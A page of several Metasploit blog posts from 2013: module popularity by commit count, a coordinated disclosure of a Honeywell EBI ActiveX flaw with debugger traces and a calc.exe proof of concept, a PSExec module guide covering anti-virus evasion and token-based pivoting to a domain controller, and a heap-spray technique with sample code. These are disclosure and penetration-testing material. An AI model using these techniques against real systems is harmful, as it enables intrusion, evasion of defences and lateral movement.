Posted by todb Employee Mar 12, 2013

If you follow this blog at all, you're familiar with Christian Kirsch's round up of the most searched modules in our exploit database. These stats are gathered roughly monthly from the Metasploit exploit database backend, and tend to have a pretty strong recency bias -- modules that recently got a lot of press or Twitter buzz tend to shoot up to the top of the list.


Of course, that's the point of "Exploit Trends" exercise -- we and our readers want to know what's recently interesting. But we sometimes ask ourselves, what are the "most popular" exploits that we ship with Metasploit? How could we tell?


Tracking module usage is one way to determine popularity. We've kicked around the idea of instrumenting things like on_session_open() to gather stats and periodically let us know what modules are effective, but of course this kind of tracking would need to be carefully controlled to ensure that we're not leaking vulnerability data on your behalf, it would necessarily need to be opt-in, and that kind of usage tracking tends to make security people more than a little squirmy, so we don't do that.


Indirect Measurement


So, I had an idea a while back on how to get at a popularity index without spying on our end users. Instead of measuring runtime use, what if we just measured the number of times a module got fixed, enhanced, or otherwise changed?


Git makes this kind of thing pretty straightforward to measure, since I can pull a commit history of all our modules, dating back to 2005, and each time someone touches a module, that event is recorded in that module's commit history. So, if you just count the number of commits across all modules, and sort them from high to low, you should get a pretty decent picture of what Metasploit modules are at least attracting the attention of code maintainers, and maybe that's a good proxy for user popularity.


Well, that turned out to be a pretty insightful guess. I showed the initial output to one of our full-time penetration testers here, Leon @sho_luv Johnson, who responded with, "Wow, this is my checklist, in order, for every engagement I'm on." It's spooky how accurate this top ten list is in terms of what real pentesters do when they're first on-site and have Metasploit loaded up:


modules/exploits/windows/smb/psexec.rb                       61
modules/exploits/windows/smb/ms08_067_netapi.rb              56
modules/exploits/multi/http/tomcat_mgr_deploy.rb             52
modules/exploits/multi/http/jboss_maindeployer.rb            42
modules/exploits/multi/browser/java_signed_applet.rb         39
modules/exploits/windows/browser/ms03_020_ie_objecttype.rb   37
modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb        36
modules/exploits/unix/webapp/php_include.rb                  34
modules/exploits/windows/browser/ie_createobject.rb          34
modules/exploits/windows/smb/ms05_039_pnp.rb                 33


I'll get to more detailed analysis of these results in a later blog post, I promise. For now, I want to talk about the advantages for measuring commits, rather than actual usage, which is applicable to not only Metasploit, but really any software project with easily discernible atoms of content.


1) This measurement is totally non-invasive. By going over a module's commit history, I can certainly tell who made changes to a module, and for very popular modules like psexec and MS08-067, there's a fair number of non-Rapid7 committers listed, but everyone on that list went way out of their way to create a GitHub (or old SVN) account, make a change, and land it. It doesn't tell me anything about where they used it or what they were using it for.


2) It doesn't just measure buggy modules. Commits not only represent bug fixes, but also measure feature addons. If a module starts off being pretty useful, it's not long until someone says, "Hey, it'd be great if this module cleaned up after itself," or "here's another target for this exploit," or "This module can report something new in the database about the target," other any other feature enhancement. Therefore, useful modules tend to get more useful over time, especially as people use them in different environments, contexts, and situations.


3) It reverses recency bias. Recent, hot modules still need to get a fair amount of real use in the field in order to start hitting a top 10 or top 50 list. For example, the recent java_jre17_exec exploit, which is really useful right now, only has 13 commits on it. That puts it in the top 40% of all modules by commit counts, but it's a long way off from the top 10% (modules with 20 or more commits). Therefore, older, more established exploits will tend to dominate the top of the list.




Using our new module_commits.rb script in particular module trees allows for ranking different sets of modules to against each other. For example, if I wanted to know about just the browser exploits, I could just run:


$ ./tools/module_commits.rb modules/exploits/windows/browser/ | tee browser-exploits.txt


Reading browser-exploits.txt to gives me the top ten Windows-based browser exploits:


modules/exploits/windows/browser/ms03_020_ie_objecttype.rb    37
modules/exploits/windows/browser/ie_createobject.rb           34
modules/exploits/windows/browser/ms06_001_wmf_setabortproc.rb 29
modules/exploits/windows/browser/ms06_067_keyframe.rb         29
modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb      28
modules/exploits/windows/browser/aim_goaway.rb                27
modules/exploits/windows/browser/winamp_playlist_unc.rb       26
modules/exploits/windows/browser/winzip_fileview.rb           23
modules/exploits/windows/browser/mcafee_mcsubmgr_vsprintf.rb  23
modules/exploits/windows/browser/macrovision_unsafe.rb        23


So, with that feature in mind, here are some more top ten lists. People love top ten lists.


Top ten auxiliary modules


These are modules that don't open a session, but are nonetheless useful for information gathering, server spoofing, cracking passwords, and pretty much any non-memory corruption / command injection activity.


modules/auxiliary/server/browser_autopwn.rb                  78
modules/auxiliary/scanner/smb/smb_login.rb                   71
modules/auxiliary/scanner/ssh/ssh_login.rb                   51
modules/auxiliary/scanner/http/tomcat_mgr_login.rb           50
modules/auxiliary/server/capture/smb.rb                      47
modules/auxiliary/server/capture/http.rb                     45
modules/auxiliary/scanner/telnet/telnet_login.rb             44
modules/auxiliary/scanner/http/http_login.rb                 39
modules/auxiliary/scanner/mssql/mssql_login.rb               38
modules/auxiliary/spoof/dns/bailiwicked_host.rb              36


Top ten post modules


Post modules are what a pentester will run once a machine is compromised. These are tasks like looting stored credentials, escalating local privilege, launching a keystroke logger, activities like that. Now that we can tell what modules are getting attention, we can say confidently that what people are most interested is extending access through the domain and other machines through stolen credentials.


modules/post/windows/gather/credentials/gpp.rb               55
modules/post/windows/gather/enum_chrome.rb                   26
modules/post/multi/gather/firefox_creds.rb                   24
modules/post/multi/gather/pidgin_cred.rb                     24
modules/post/windows/escalate/service_permissions.rb         23
modules/post/osx/gather/enum_osx.rb                          22
modules/post/windows/gather/credentials/filezilla_server.rb  22
modules/post/multi/gather/ssh_creds.rb                       21
modules/post/windows/gather/smart_hashdump.rb                21
modules/post/windows/gather/cachedump.rb                     21


Top ten exploit payloads


Payloads are the chunks of code that gets run immediately after the vulnerability is exploited. Most of the time, payloads establish a remote a shell into the target over a command prompt, a Meterpreter session, a VNC session, something along those lines.


modules/payloads/stages/windows/shell.rb                     35
modules/payloads/stages/windows/meterpreter.rb               34
modules/payloads/stagers/windows/reverse_tcp.rb              34
modules/payloads/stages/windows/vncinject.rb                 25
modules/payloads/singles/php/reverse_php.rb                  25
modules/payloads/stages/windows/upexec.rb                    24
modules/payloads/stagers/windows/bind_tcp.rb                 23
modules/payloads/stages/windows/dllinject.rb                 21
modules/payloads/singles/linux/x86/shell_reverse_tcp.rb      21
modules/payloads/singles/windows/adduser.rb                  20


Top ten Rex protocols


Oh, you don't need to limit to just content. We're constantly poking at Rex, the Ruby Exploitation library, so here's a top ten survey of protocols that we've touched a lot over Metasploit's life:


lib/rex/proto/http/client.rb                                 109
lib/rex/proto/smb/client.rb                                  84
lib/rex/proto/http/packet.rb                                 36
lib/rex/proto/http/server.rb                                 35
lib/rex/proto/dcerpc/client.rb                               29
lib/rex/proto/smb/constants.rb                               27
lib/rex/proto/smb/simpleclient.rb                            27
lib/rex/proto/smb/utils.rb                                   25
lib/rex/proto/http/request.rb                                24
lib/rex/proto/dhcp/server.rb                                 23


Yep, it looks like HTTP and SMB is where it's at in network-based exploitation. That's not surprising, but it's always nice to get some programmatic confirmation of where my intuition is.



The script I've been using isn't very user friendly or configurable, but it gets me the data in a more-or-less useful format. I'd like to be able to break ties a little better using a few different criteria, or output in a format that's actually machine-parsable (XML or JSON or something), or limit to a particular date range... my wish list goes on and on. I have a pull request open with it included as is right now, but even us core Metasploit developers have to wait in line to get our pull requests landed. (: If you have your own ideas, feel free to jump in on hacking Metasploit yourself and drop a pull request on us when you have something presentable.

Today, we present to you a new vulnerability, CVE-2013-0108, discovered in Honeywell Enterprise Buildings Integrator (EBI) R310 - R410.2. This platform is used to integrate different systems and devices such as heating, ventilation, and air conditioning (HVAC) controls; security; access control; life safety; lighting; energy management; and facilities management into a common platform. Using open architecture and industry standards, EBI integrates existing buildings systems, providing seamless digital information and control across all building operational management systems." Following our standard disclosure policy, we notified both Honeywell and CERT/CC, who in turn coordinated with ICS-CERT. Quoting from the ICS-CERT advisory ICSA-13-053-02:




Exploitation of this vulnerability could allow partial loss of availability, integrity, and confidentiality and could be exploited remotely. This vulnerability could affect systems deployed in the government facilities and commercial facilities sectors.



The vulnerability could allow remote attackers to execute arbitrary code via a specially crafted HTML document. The attacker would require an end-user or operator to voluntarily interact with the attack mechanism for it to be successful. For example, the attacker could send an email message to the end-user, containing a link to a Web site with the specially crafted HTML document. CVE-2013-0108 has been assigned to this vulnerability with a CVSS v2 base score of 6.8.



Now, before you read any further, if you own or operate one of these building control systems, you really should take a few moments and spend quality time with your Honeywell sales and service representative to ask about getting the latest Station Security Update Package. When we first reported this to Honeywell, their responsiveness and concern was both prompt and thorough, so it's clear to all of us at Rapid7 that Honeywell definitely has their customers' security interests at heart. From a disclosure standpoint, Honeywell's response was A++++, would exploit again. (:


Vulnerability Summary


The specific flaw exists within the HSC Remote Deploy ActiveX (HSCRemoteDeploy.dll), with the class ID "0D080D7D-28D2-4F86-BFA1-D582E5CE4867". This control is used to support installation of Honeywell HMIWeb Browser on workstation clients. The LaunchInstaller() method, provided by the vulnerable control, can be abused to run an arbitrary HTA application through mshta.exe.


Disclosure Timeline


2013-01-08Initial discovery by Juan Vazquez, Metasploit Researcher
2013-01-08Metasploit module written
2013-01-10Initial disclosure to the vendor, Honeywell
2013-01-10Initial response from the vendor
2013-01-25Disclosure to CERT/CC
2013-01-30Disclosure coordination with vendor, CERT/CC, and ISC-CERT
2013-02-04Vendor advisory bulletin and patch drafted
2013-02-22Vendor advisory bulletin and patch release
2013-02-22ISC-CERT Advisory published
2013-03-11Public disclosure and Metasploit modules published
2013-03-12Kill bits released on Microsoft Patch Tuesday (proposed)
2013-03-14ISC-CERT Advisory updated

Technical Analysis


A remote page can make the Internet Explorer load the vulnerable ActiveX control by using its class ID:


<object id="RemoteInstaller" classid="clsid:0D080D7D-28D2-4F86-BFA1-D582E5CE4867">


The vulnerable ActiveX control will be loaded by Internet Explorer:


0:006> g
ModLoad: 020b0000 020e7000   C:\WINDOWS\system32\HSCRemoteDeploy.dll
eax=00000003 ebx=00000000 ecx=020de070 edx=f20b0000 esi=00255ba8 edi=00000000
eip=7c90e4f4 esp=00137dc0 ebp=00137eb4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
7c90e4f4 c3              ret
0:000> lmv m HSCRemoteDeploy
start    end        module name
020b0000 020e7000   HSCRemoteDeploy   (deferred)             
    Image path: C:\WINDOWS\system32\HSCRemoteDeploy.dll
    Image name: HSCRemoteDeploy.dll
    Timestamp:        Wed Sep 29 13:51:06 2010 (4CA3282A)
    CheckSum:         0003DCC8
    ImageSize:        00037000
    File version:
    Product version:
    File flags:       0 (Mask 3F)
    File OS:          4 Unknown Win32
    File type:        2.0 Dll
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      Honeywell Limited
    ProductName:      HMIWeb
    FileVersion:      5, 7, 165, 119
    PrivateBuild:     Official build
    FileDescription:  Unicode Release Build
    LegalCopyright:   Copyright 2008 Honeywell International Sàrl
    LegalTrademarks:  Copyright 2008 Honeywell International Sàrl


Once loaded, the LaunchInstaller() method can be used to execute an arbitrary remote HTA application by specifying an arbitrary URI as "bstrParameter" parameter. The prototype for this method is described here:


Sub LaunchInstaller (
     ByVal bstrServer  As String ,
     ByVal bstrRedirect  As String ,
     ByVal bUpgrade  As Boolean


It can be abused in code such as:


RemoteInstaller.LaunchInstaller("", "", false);


The above LaunchInstaller() call will translate to the next execution of ShellExecuteExW, with a pointer to the SHELLEXECUTEINFO structure stored in 0013e200 as argument:


0:000> bp HSCRemoteDeploy+866A
0:000> g
Breakpoint 0 hit
eax=020d2644 ebx=0210246c ecx=021023e8 edx=0013e200 esi=00000000 edi=0013e26c
eip=020b866a esp=0013e1ec ebp=0013e254 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
020b866a ff10            call    dword ptr [eax]      ds:0023:020d2644=d68d0b02
0:000> t
eax=020d2644 ebx=0210246c ecx=021023e8 edx=0013e200 esi=00000000 edi=0013e26c
eip=020b8dd6 esp=0013e1e8 ebp=0013e254 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
020b8dd6 ff253c120d02    jmp     dword ptr [HSCRemoteDeploy!DllUnregisterServer+0x1ba1c 
(020d123c)] ds:0023:020d123c={SHELL32!ShellExecuteExW (7ca02f03)}
0:000> dd esp L2
0013e1e8  020b866c 0013e200


The SHELLEXECUTEINFO used as parameter contains the next values:





0:000> du poi(0013e200+C)
021040ac  "open"
0:000> du poi(0013e200+10)
0210246c  "C:\WINDOWS\system32\mshta.exe"
0:000> du poi(0013e200+14)02104014  "http : //"
02104054  "Displays/"
02104094  "a"


The location of the HTA application to be opened via mshta.exe can be influenced by the "bstrServer" parameter, which leads to remote HTA code execution.




Since arbitrary HTA application execution is possible, according to the MSDN article Introduction to HTML Applications (HTAs), arbitrary code execution will be possible:

As fully trusted applications, HTAs carry out actions that Internet Explorer would never permit in a webpage. The result is an application that runs seamlessly, without interruption.


In HTAs, the restrictions against allowing script to manipulate the client machine are lifted. For example, all command codes are supported without scripting limitations (see command id). And HTAs have read/write access to the files and system registry on the client machine.


The trusted status of HTAs also extends to all operations subject to security zone options. In short, zone security is off. Consequently, HTAs run embedded Microsoft ActiveX controls and Java applets irrespective of the zone security setting on the client machine. No warning displays before such objects are run within an HTA. HTAs run outside of the Internet Explorer process, and therefore are not subject to the security restrictions imposed by Protected Mode when run on Windows Vista.

As a simple proof of concept, the next HTA application can be used to launch calc.exe:


a=new ActiveXObject("WScript.Shell");'%windir%\\\\System32\\\\calc.exe');


In order to achieve remote code execution a Metasploit module has been developed. The module has been tested successfully on Windows XP and Windows 7 operating systems with Internet Explorer 6 to Internet Explorer 9:

Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions.

Multiple modules inside the Metasploit Framework bear the title PSExec, which may be confusing to some users.




When someone simply refers to “the PSExec module”, they typically mean exploit/windows/smb/psexec, the original PSExec module. Other modules are more recent additions, and make use of the PSExec technique in other ways. Here’s a quick overview of what these modules are for:


Metasploit Module




Evading anti-virus detection

Service EXE is now getting caught by most AV vendors. Use custom templates or MOF upload method to circumvent AV detection.


Local exploit for local administrator machine with goal to obtain session on domain controller

Great starting point to take over an entire network. Attack is less likely to get noticed because it uses legitimate access methods.


Run arbitrary commands on the target without uploading payloads.

Unlikely to be detected by AV but limited because you can only send one command, not obtain a session.


Get list of currently logged in users

Run this module against all targets to get tons of information on your targets.



We’ll now look at each one in detail below. First, let’s talk about what PSExec is, and where the idea comes from.

The PSExec Utility


The name PSExec comes from a program by the same name. Mark Russinovich wrote this utility as part of his sysInternals suite in the late 90s to help Windows Administrators perform important tasks, for example to execute commands or run executables on remote systems.


The PSExec utility requires a few things on the remote system: the Server Message Block (SMB) service must be available and reachable (e.g. not blocked by firewall);  File and Print Sharing must be enabled; and Simple File Sharing must be disabled.


The Admin$ share must be available and accessible. It is a hidden SMB share that maps to the Windows directory is intended for software deployments. The credentials supplied to the PSExec utility must have permissions to access the Admin$ share.


PSExec has a Windows Service image inside of its executable. It takes this service and deploys it to the Admin$ share on the remote machine. It then uses the DCE/RPC interface over SMB to access the Windows Service Control Manager API. It turns on the PSExec service on the remote machine. The PSExec service then creates a named pipe that can be used to send commands to the system.

The PSExec Exploit (exploit/windows/smb/psexec)


The PSExec exploit modules in Metasploit runs on the same basic principle as the PSExec utility. It can behave in several ways, many of them unknown to most users.


The Service EXE


In this method, the exploit generates and embeds a payload into an executable, which is a Service image uploaded by the PSExec utility – similar to the PSExec service. The exploit then uploads the service executable to the Admin$ share using the supplied credentials, connects to the DCE/RPC interface, and calls into the Service Control Manager before telling SCM to start the service that we deployed to Admin$ earlier. When the service is started, it starts a new rundll32.exe process, allocates executable memory inside that process and copies the shellcode into it. It then calls the starting address of that memory location as if it were a function pointer, executing the stored shellcode.


The service EXE is generated using an executable template with a placeholder where the shellcode is inserted. The default executable templates in Metasploit Framework are flagged by major AV solutions because most anti-virus vendors have signatures for detecting these templates. No matter what payload you stick in this executable template, it will get flagged by AV.


AV Evasion

The PSExec exploit has several advanced options. The first is the options to supply alternative executable templates.



There are two separate options: One is to use set EXE::Path, which will tell Metasploit to look in a different directory for the executable templates. The other is set EXE::Template, which is the name of the executable template file to use. If you create an executable template and store it in a different directory, you will need to set both of these options. Writing a custom executable template is a good way to avoid AV detection. If you write your own EXE template for the PSExec exploit, it must be a Windows service image.



In addition to writing a custom executable template, you can write an entire executable on your own. This means that a Metasploit payload will not actually get inserted. You will code the entire behavior into the EXE itself. The psexec exploit module will then upload the EXE and try to start it via SCM.


Tip: If you would like to save time evading anti-virus, you can use the dynamic executable option in Metasploit Pro, which generates random executable files each time that are much less likely to be detected by anti-virus. (Watch my webcast Evading Anti-virus Detection with Metasploit for more info.)


The Management Object File (MOF) upload method


MOF files are a part of the Windows Management Instrumentation (WMI). They are Manage Object Files. They contain WMI information and instructions. MOF files must be compiled to work properly, however there is a way around that on Windows XP.  In Windows XP, if you drop an uncompiled MOF file in the system32\wbem\mof\ directory, Windows XP will compile the MOF for you and run it.  The PSExec exploit has a method for using this to our advantage. If you set MOF_UPLOAD_METHOD true, it will do a few things differently. Our payload EXE will be generated as a normal instead of a service EXE. It will then upload it via Admin$ as expected before generating a MOF file that will execute the EXE we uploaded. It will use Admin$ to deploy the MOF file to the MOF directory. Windows XP will then compile and run the MOF, causing our payload EXE to be executed.


The MOF method can be combined with the custom EXE or custom template methods described above to try and evade AV as well. The MOF Method currently only works on Windows XP as later versions require the MOF to already be compiled in order for them to run.


The PSExec Current User Local Exploit(exploit/windows/local/current_user_psexec)


The Current User PSExec module is a local exploit. This means it is an exploit run on an already established session. Let’s set up a scenario to explain how this works. In our scenario you do the following:


  1. Set up a browser exploit at some address
  2. Trick a local system administrator to visiting the site
  3. Get a reverse Meterpreter shell, inside the administrator’s browser process
  4. Run netstat to see if the administrator is connected to one of the Domain controllers


So now Meterpreter is running on a system administrator’s box under her user context. While there may not be something you’re interested in on her workstation, she has permission to access a domain controller (DC), which you would like to shell. You don’t have her credentials, and you cannot talk directly to the DC from your box.


This is where the current_user_psexec module comes in. This local exploit works the same way as the psexec exploit. However, it runs from the victim machine. You also do not supply any credentials. This exploit takes the authentication token from the user context, and passes that alone. This means you can get a shell on any box the user can connect to from that machine and has permissions on, without actually knowing what their credentials are.


This is an invaluable technique to have in your toolbox.  From that first machine you can compromise numerous other machines. You can do this without having set up any proxy or VPN pivots, and you will have done it using legitimate means of access.


The PSExec Command Execution Module (auxiliary/admin/smb/psexec_command)


Submitted by community contributor Royce @R3dy__ Davis, this module expands upon the usefulness of the PSExec behavior. It utilizes the same basic technique but does not upload any binaries. Instead it issues a single Windows command to the system. This command is then run by the remote system. This allows arbitrary commands to be executed on the remote system without sending any payloads that could be detected by AV. While it does not get you a shell, it will allow you to perform specific one off actions on the system that you may need.


The PSExec Logged In Users Module (auxiliary/scanner/smb/psexec_loggedin_users)


Also brought to you by Royce @R3dy__ Davis, this module is a specialized version of the command execution one. It uses the same technique to specifically query the registry on the remote machine and get a list of all currently logged on users. It is a scanner module which means it can also run against numerous hosts simultaneously, quickly getting the information from all the targeted hosts.




What we’ve seen here is that the PSExec technique is actually a relatively simple mechanism with immense benefit. We should all remember to thank Mark Russinovich for this wonderful gift he has given us. As time goes by, people will find many more uses for this same technique, and there is room for improvement on how these modules work and interact. The PSExec exploits are two of the most useful, and most reliable, techniques for getting shells in the entire Metasploit Framework.

abusing winRM with MetasploitThis week's Whiteboard Wednesday is by our esteemed Metasploit expert David Maloney, on a subject he covered in this blog post: Abusing Windows Remote Management (WinRM) with Metasploit.


This WBW dives in to WinRM. A service designed to allow System Administrators to issue commands to remote machines. In this video, David discusses how Metasploit can identify these services and attack them gaining unfettered access to machines, and doing so without being detected by Antivirus Solutions.


Watch the video here!


Let us know what you think in the comments below, and we'll see you back here next week at the same WBW Time.



Screen shot 2013-03-01 at 10.33.14 AM.pngBrowser vulnerabilities have always been serious threats in today's security trends.  It's almost becoming too common to see people dropping browser 0days to beef up botnets, or deploying them for "sophisticated" APT-level attacks, etc.  Although browser 0days surface more frequently than ever, some of the techniques don't seem to change much.  The most common trick you'll see is a heap spray -- this is a way to setup memory by controlling heap allocations, and then place arbitrary code in a predictable place.  That way when you control the crash, you can just trick the program to go there and gain code execution.  However, this technique has gotten more difficult over the years, so a typical heap spray you see in IE6 and 7 probably won't work against IE8.  And a spray in IE 8 probably won't work in IE9 and 10.


Recently, Peter Van Eeckhoutte introduced a new heap spraying technique that works against multiple browsers such as Internet Explorer 8, 9, 10, as well as the latest Firefox.  I am pretty much convinced this technique may change the way we write browse exploits for Metasploit, so I decided to port Peter's example to Metasploit as a new function (with his assistance), and show you fellas an example on how to use it.




In this demonstration, I'll just use Internet Explorer 10 on Windows 8.  Please make sure to enable script debugging in IE during development.  The debugger we'll be using is WinDBG, which can be downloaded here:


Code Example


The new heap spraying routine is written in JavaScript.   In order to use this, make sure to include the "Msf::Exploit::Remote::HttpServer::HTML" mixin, and then simply call the "js_property_spray" routine, which will return the sprayHeap() code that you can embed in your webpage.  The sprayHeap() function supports the following parameters:


shellcodeThe shellcode code to spray.  As an example, the input should be in this format:  unescape("%u4141%u4141").  Usually this means a ROP, plus the shellcode.
objIdOptional.  The ID for a <div> HTML tag.  If you don't supply this parameter, then the JavaScript will just generate a "div" element for you.
offsetOptional.  Padding to align the shellcode to some address you want.  The default is 0x104 bytes.
heapBlockSizeOptional. The allocation size you want.  Please note: if this size is too small, your shellcode will not remain at a predicable location in memory.  Default is 0x80000.
maxAllocsOptional. Number of allocations.  Please note: On IE10, if this is too low, then the shellcode won't be predicable enough, either.  The "sweet spot" in our experiment for now seems to be somewhere above 0x500.  The default value is 0x350.


def load_spray_html
     spray = js_property_spray #Load the heap spraying JavaScript

     html = %Q|
          var s = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444%u4545%u4545%u4646%u4646%u4747%u4747");
          sprayHeap({shellcode:s}); // Call the heap spray routine

     return html


You may also download the test case here to try the heap spraying function:


Examine the Heap Spray


In Internet Explorer, each iteration should generate two allocations that contain our data -- one happens when the substring() function is called, but this one will eventually get freed.  The other one is when the data is being assigned to the property, which will trigger a call to SetStringProperty (or SetProperty in IE9), and the data remains in memory.  All allocations can be found in the default process heap.


When the heap spray is done, you can simply do this in the debugger:


!heap -stat -h


WinDBG should give you a list of allocations under the default process heap, something like this:


Screen shot 2013-03-01 at 3.50.43 PM.png


Since the default value for heapBlockSize is 0x80000, and the default for maxAllocs is 0x350, it's evident that our spray is working properly.  To dump all these allocations, simply do:


!heap -flt s 0x80000


And then you will see something liket his:


Screen shot 2013-03-01 at 2.05.17 PM.png


Notice all the heap entries end with XXXXXX18, which looks like a predictable pattern.  When the allocation pattern is predictable, that indicates your payload should remain in a predicable location, too.  Now, to inspect the data, here's what you can do.... let's pick the last entry:


db 2b108018


Screen shot 2013-03-01 at 2.06.21 PM.png


You will see that this points to a field of 0x20s, that means we're looking at the junk padding of the spray.  At this point you're probably wondering where the data is, right?  One simple thing you can do in WinDBG is go to "View" -> "Memory", and then enter the heap entry address (in our case, again, it's 0x2b108018), and that'll show you a nice memory dump which allows you to scroll up/down to find your data.  Like this:


Screen shot 2013-03-01 at 2.02.35 PM.png


As a reference, the default spray should also land your data at address 0x20302020 in Internet Explorer, but you'll need around 0x500 iterations for IE 10 just to make sure.  We have also learned that address 0x0c0d0228 seems to be a reliable place, too.  In Firefox, the same data can be seen at 0x20302210.  To experiment this yourself, you may simply gather test results and compare them by using


"js_property_spray" can also be used to manipulate LFH (Low-Fragmentation Heap) allocations.  I recommend to read up Chris Valasek's paper on "Understanding the Low Fragmentation Heap" before trying it out yourself.


To try out this new technique, please make sure to update your Metasploit repository to get the latest changes.  If you've never tried Metasploit before, you can download it here:

Filter Blog

By date: By tag: